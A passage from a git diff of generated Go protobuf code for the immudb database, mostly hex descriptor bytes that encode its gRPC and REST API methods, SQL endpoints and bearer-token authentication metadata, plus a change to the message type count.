0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x22, + 0x0f, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x2f, 0x76, 0x32, + 0x3a, 0x01, 0x2a, 0x12, 0x69, 0x0a, 0x0a, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, + 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, + 0x2f, 0x64, 0x62, 0x2f, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x58, + 0x0a, 0x0c, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x16, + 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x6d, 0x70, + 0x61, 0x63, 0x74, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x40, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, + 0x61, 0x6d, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x3e, 0x0a, 0x09, 0x73, 0x74, + 0x72, 0x65, 0x61, 0x6d, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, + 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x54, 0x0a, 0x13, 0x73, 0x74, + 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, + 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, + 0x12, 0x4c, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x1b, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x00, 0x28, 0x01, 0x12, 0x42, + 0x0a, 0x0a, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, + 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, + 0x30, 0x01, 0x12, 0x44, 0x0a, 0x0b, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x5a, 0x53, 0x63, 0x61, + 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, + 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x48, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, + 0x61, 0x6d, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, + 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, + 0x30, 0x01, 0x12, 0x42, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x65, 0x63, + 0x41, 0x6c, 0x6c, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, + 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x44, 0x0a, 0x08, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, + 0x54, 0x78, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x40, 0x0a, 0x0b, + 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x65, 0x54, 0x78, 0x12, 0x14, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, + 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x5e, + 0x0a, 0x07, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, - 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, - 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x65, 0x78, 0x65, 0x63, 0x3a, 0x01, 0x2a, 0x12, - 0x62, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, - 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, - 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x71, 0x75, 0x65, 0x72, 0x79, - 0x3a, 0x01, 0x2a, 0x12, 0x5b, 0x0a, 0x0a, 0x4c, 0x69, 0x73, 0x74, 0x54, 0x61, 0x62, 0x6c, 0x65, - 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, - 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, - 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x6c, 0x69, 0x73, 0x74, - 0x12, 0x5b, 0x0a, 0x0d, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x62, 0x65, 0x54, 0x61, 0x62, 0x6c, - 0x65, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, - 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, - 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x3a, 0x01, 0x2a, 0x12, 0x7f, 0x0a, - 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, - 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, - 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x20, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x71, 0x6c, 0x67, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x42, 0x8b, - 0x03, 0x5a, 0x2b, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, - 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, - 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, - 0xda, 0x02, 0x12, 0xee, 0x01, 0x0a, 0x0f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, - 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x12, 0xda, 0x01, 0x3c, 0x62, 0x3e, 0x49, 0x4d, 0x50, 0x4f, - 0x52, 0x54, 0x41, 0x4e, 0x54, 0x3c, 0x2f, 0x62, 0x3e, 0x3a, 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, - 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, - 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x67, 0x65, - 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, - 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, - 0x6b, 0x65, 0x79, 0x73, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x2c, - 0x20, 0x77, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x61, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, - 0x3e, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, - 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, - 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, - 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, - 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x69, 0x6e, 0x70, 0x75, - 0x74, 0x73, 0x2e, 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, - 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, - 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, - 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, - 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, - 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x33, + 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, + 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, + 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x65, 0x78, 0x65, 0x63, 0x3a, 0x01, 0x2a, 0x12, 0x62, + 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, + 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, + 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x71, 0x75, 0x65, 0x72, 0x79, 0x3a, + 0x01, 0x2a, 0x12, 0x5b, 0x0a, 0x0a, 0x4c, 0x69, 0x73, 0x74, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x73, + 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, + 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, + 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, + 0x5b, 0x0a, 0x0d, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x62, 0x65, 0x54, 0x61, 0x62, 0x6c, 0x65, + 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, + 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, + 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x3a, 0x01, 0x2a, 0x12, 0x7f, 0x0a, 0x10, + 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, + 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, + 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x71, 0x6c, 0x67, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x42, 0x8b, 0x03, + 0x5a, 0x2b, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, + 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, + 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0xda, + 0x02, 0x12, 0xee, 0x01, 0x0a, 0x0f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, + 0x54, 0x20, 0x41, 0x50, 0x49, 0x12, 0xda, 0x01, 0x3c, 0x62, 0x3e, 0x49, 0x4d, 0x50, 0x4f, 0x52, + 0x54, 0x41, 0x4e, 0x54, 0x3c, 0x2f, 0x62, 0x3e, 0x3a, 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, 0x63, + 0x6f, 0x64, 0x65, 0x3e, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, + 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x67, 0x65, 0x74, + 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x73, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, + 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x6b, + 0x65, 0x79, 0x73, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x2c, 0x20, + 0x77, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x61, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, + 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, + 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, + 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, 0x78, + 0x70, 0x65, 0x63, 0x74, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, + 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x69, 0x6e, 0x70, 0x75, 0x74, + 0x73, 0x2e, 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, + 0x08, 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, + 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, + 0x61, 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, + 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, + 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x33, } var ( @@ -9807,7 +9889,7 @@ func file_schema_proto_rawDescGZIP() []byte { } var file_schema_proto_enumTypes = make([]protoimpl.EnumInfo, 3) -var file_schema_proto_msgTypes = make([]protoimpl.MessageInfo, 126) +var file_schema_proto_msgTypes = make([]protoimpl.MessageInfo, 127) var file_schema_proto_goTypes = []interface{}{ (EntryTypeAction)(0), // 0: immudb.schema.EntryTypeAction (PermissionAction)(0), // 1: immudb.schema.PermissionAction @@ -9841,382 